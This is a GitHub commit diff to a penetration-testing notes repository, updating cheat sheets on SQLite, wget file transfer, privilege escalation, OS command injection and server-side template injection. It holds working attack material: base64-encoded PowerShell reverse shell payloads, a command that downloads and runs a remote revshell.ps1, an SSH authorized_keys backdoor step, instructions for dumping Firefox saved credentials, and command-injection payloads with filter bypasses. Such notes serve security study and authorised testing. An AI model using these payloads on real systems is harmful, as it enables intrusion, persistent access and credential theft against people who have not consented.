Skip to content

Commit 22bb076

Browse files
committed
updated techniques
1 parent d15b14e commit 22bb076

File tree

10 files changed

+122
-114
lines changed

10 files changed

+122
-114
lines changed

LICENSE

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
Copyright (c) 2022 Hideki Ishiguro
1+
Copyright (c) 2022 hdks
22

33
Permission is hereby granted, free of charge, to any person obtaining
44
a copy of this software and associated documentation files (the

src/exploit/database/sqlite-pentesting.md

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,15 @@ description: SQLite is a database engine.
44
tags:
55
- Database
66
refs:
7-
date: 2023-03-11
7+
date: 2024-10-03
88
draft: false
99
---
1010

1111
## Interpreter
1212

1313
```sh
1414
sqlite3 sample.db
15-
# or
15+
sqlite3 sample.sqlite
1616
sqlitebrowser sample.db
1717
```
1818

@@ -31,13 +31,15 @@ sqlite> .databases
3131
sqlite> .tables
3232

3333
# Show table information
34-
sqlite> pragma table_info(table_name);
34+
sqlite> PRAGMA table_info(table_name);
3535

3636
# Dump contents of tables
3737
sqlite> .dump <table>
3838

39-
# SQL commands
40-
sqlite> select * from <table>;
39+
# SQL commands to display values in the table
40+
sqlite> SELECT * FROM <table>;
41+
# Display values in Hex
42+
sqlite> SELECT HEX(column_name) FROM <table>;
4143

4244
# Exit the interpreter
4345
sqlite> .quit

src/exploit/linux/management/file-transfer-in-linux.md

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description:
44
tags:
55
- Linux
66
refs:
7-
date: 2023-11-11
7+
date: 2024-10-03
88
draft: false
99
---
1010

@@ -22,13 +22,14 @@ python -m http.server --directory /usr/bin
2222
In machine B, download a file from the web server of machine A.
2323

2424
```sh
25-
wget http://<ip-for-machine-A>:8000/example.txt
25+
wget http://<ip>:8000/example.txt
2626

2727
# Download recursively
28-
# -r: recursive
29-
# -np: no parent
30-
# Don't forget "/" after the directory name
31-
wget -r -np http://<ip-for-machine-A>/somedir/
28+
# -r: Recursive
29+
# -np: No parent
30+
# --reject="index.html*": Not save index.html
31+
# -P: output directory
32+
wget http://<ip>/example_dir -r -np -nH --cut-dirs=1 --reject="index.html*" -P example_dir
3233
```
3334

3435
<br />
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
---
2+
title: FireFox Credentials Dumping
3+
description: A .mofilla directory contains a firefox directory that stores credentials. We may dump the credentials and escalate privilege using them.
4+
tags:
5+
- Privilege Escalation
6+
refs:
7+
date: 2024-10-03
8+
draft: false
9+
---
10+
11+
## Investigation
12+
13+
If there is a `.mozilla/firefox` directory in some user's home directory, we can dump credentials. So check this directory:
14+
15+
```sh
16+
ls -al /home/<user>/.mozilla/
17+
```
18+
19+
<br />
20+
21+
## Dump Passwords from Firefox Profile
22+
23+
To crack it, use [firefox_decrypt](https://github.com/unode/firefox_decrypt):
24+
25+
```sh
26+
python3 firefox_decrypt.py .mozilla/firefox/<id>
27+
```
28+
29+
If we’ll be asked the master password and we don’t know it, try common passwords.
30+
31+
```txt
32+
admin
33+
password
34+
password1
35+
password123
36+
root
37+
```

src/exploit/linux/privilege-escalation/index.md

Lines changed: 34 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ tags:
66
- Remote Code Execution
77
refs:
88
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation
9-
date: 2024-07-17
9+
date: 2024-10-03
1010
draft: false
1111
---
1212

@@ -348,6 +348,33 @@ ls /proc/bus/pci
348348

349349
<br />
350350

351+
## SSH Public Key Forgery
352+
353+
If we have write permission to `.ssh/authorized_keys`, we can insert our SSH public key to this file and login as the user.
354+
355+
In local machine, generate SSH private/public keys as below:
356+
357+
```sh
358+
ssh-keygen -f key
359+
cat key.pub
360+
# Copy the output!
361+
```
362+
363+
In target machine, paste the content of the public key to `.ssh/authorized_keys`:
364+
365+
```sh
366+
echo '<PUBKEY_CONTENT>' >> .ssh/authorized_keys
367+
```
368+
369+
In local machine, we can login using the private key:
370+
371+
```sh
372+
chmod 600 key
373+
ssh user@<target-ip> -i key
374+
```
375+
376+
<br />
377+
351378
## Open Ports
352379

353380
```sh
@@ -434,15 +461,12 @@ pidof /bin/bash
434461
pidof python3
435462
436463
lsof
437-
sudo lsof
438-
# -l: List UID numbers
439-
lsof -l
440-
sudo lsof -l
441-
# -i: Select by IPv[46] address
442-
lsof -i :80
443-
sudo lsof -i :80
444-
lsof -i :443
445-
sudo lsof -i :443
464+
# -p: PID
465+
lsof -p 1234
466+
# -i: Display the information of network connections.
467+
# -n: Not resolve IP addresses.
468+
# -P: Display port numbers.
469+
lsof -i -n -P
446470
```
447471

448472
### Using PSPY

src/exploit/linux/privilege-escalation/mozilla-pentsting.md

Lines changed: 0 additions & 70 deletions
This file was deleted.

src/exploit/shell/reverse-shell-cheat-sheet.md

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ tags:
88
refs:
99
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
1010
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
11-
date: 2024-09-10
11+
date: 2024-10-03
1212
draft: false
1313
---
1414

@@ -135,11 +135,9 @@ powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('http://e
135135
136136
powershell -c "Invoke-Expression (Invoke-WebRequest -usebasicparsing http://10.0.0.1:8000/revshell.ps1)"
137137
138-
# Base64 encoded payload
139-
powershell -e JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgnMTAuMC4wLjEnLDEyMzQpOyRzdHJlYW0gPSAkY2xpZW50LkdldFN0cmVhbSgpO1tieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JXswfTt3aGlsZSgoJGkgPSAkc3RyZWFtLlJlYWQoJGJ5dGVzLCAwLCAkYnl0ZXMuTGVuZ3RoKSkgLW5lIDApezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICdQUyAnICsgKHB3ZCkuUGF0aCArICc+ICc7JHNlbmRieXRlID0gKFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKCRzZW5kYmFjazIpOyRzdHJlYW0uV3JpdGUoJHNlbmRieXRlLDAsJHNlbmRieXRlLkxlbmd0aCk7JHN0cmVhbS5GbHVzaCgpfTskY2xpZW50LkNsb3NlKCk=
140-
141-
# Base64 encoded payload (contains null character between each character)
142-
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
138+
# Base64-encode (UTF-16LE).
139+
# Use CyberChef: "Encode text (UTF-16LE)" -> "To Base64"
140+
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMAAuADAALgAxACcALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
143141
```
144142

145143
### Bypass AV (Antivirus)

src/exploit/web/method/web-basic-pentesting.md

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: Basic methodologies of web penetration tests. A default port is 80.
44
tags:
55
- Web
66
refs:
7-
date: 2024-02-13
7+
date: 2024-10-03
88
draft: false
99
---
1010

@@ -143,12 +143,9 @@ Now access to the website again. We might be able to see the contents of the web
143143

144144
<br />
145145

146-
## Find Information in Web Pages
146+
## Check Comments in HTML Source
147147

148-
```sh
149-
curl http://vulnerable.com/ | grep -i hidden
150-
curl http://vulnerable.com/ | grep -i password
151-
```
148+
There may be comments in the HTML source code that provide hints for exploitation.
152149

153150
<br />
154151

src/exploit/web/security-risk/os-command-injection.md

Lines changed: 23 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,28 @@
11
---
22
title: OS Command Injection
3-
description:
3+
description: We can inject OS commands through URL params, POST data, etc.
44
tags:
55
- Remote Code Execution
66
- Reverse Shell
77
- Web
88
refs:
9-
date: 2023-11-11
9+
date: 2024-10-03
1010
draft: false
1111
---
1212

13+
## Automation
14+
15+
- [commix](https://github.com/commixproject/commix)
16+
17+
```bash
18+
commix.py -u https://example.com/?name=test
19+
commix.py -u https://example.com/ --method=POST -d "name=test"
20+
```
21+
22+
*Use `--batch` option for default behavior without user input.
23+
24+
<br />
25+
1326
## Basic Payloads
1427

1528
If the payload includes whitespaces (**' '**), we need to change it to **'+'** or **URL encoding ('%20')**.
@@ -74,17 +87,22 @@ We may be able to bypass specific character filter by encoding them.
7487

7588
Reference: [https://www.ctfnote.com/web/os-command-injection/whitespace-bypass](https://www.ctfnote.com/web/os-command-injection/whitespace-bypass)
7689

77-
If the website filters whitespaces and we cannot inject OS command including spaces e.g. **'sleep 5'**, we can insert **Internal Field Separator (IFS)** as whitespace.
90+
If the website filters whitespaces and we cannot inject OS command including spaces e.g. **'sleep 5'**, we can insert **Internal Field Separator (IFS)** as whitespace:
7891

7992
```bash
8093
$IFS$9
94+
# or
95+
${IFS}
8196
```
8297

8398
### Payload Examples:
8499

100+
Below is the `ping -c 1 10.0.0.1` command:
101+
85102
```html
86-
<!-- ping -c 5 10.0.0.1 -->
87-
/?cmd=ping$IFS$9-c$IFS$9510.0.0.1
103+
/?cmd=ping$IFS$9-c$IFS$91$IFS$910.0.0.1
104+
<!-- or -->
105+
/?cmd=ping${IFS}-c${IFS}1${IFS}10.0.0.1
88106
```
89107

90108
<br />

src/exploit/web/security-risk/ssti.md

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,18 @@ description:
44
tags:
55
- Web
66
ref:
7-
date: 2024-04-13
7+
date: 2024-10-03
88
draft: false
99
---
1010

1111
## Automation
1212

13-
[Tplmap](https://github.com/epinna/tplmap) is a program for Server-Side Template Injection and Code Injection.
13+
- [SSTImap](https://github.com/vladko312/SSTImap)
1414

15-
```sh
16-
./tplmap.py -u http://vulnerable.com/?name=test
17-
```
15+
```sh
16+
./sstimap.py -u https://example.com/?name=test
17+
./sstimap.py -u https://example.com -m POST -d "name=test"
18+
```
1819

1920
<br />
2021

0 commit comments

Comments
 (0)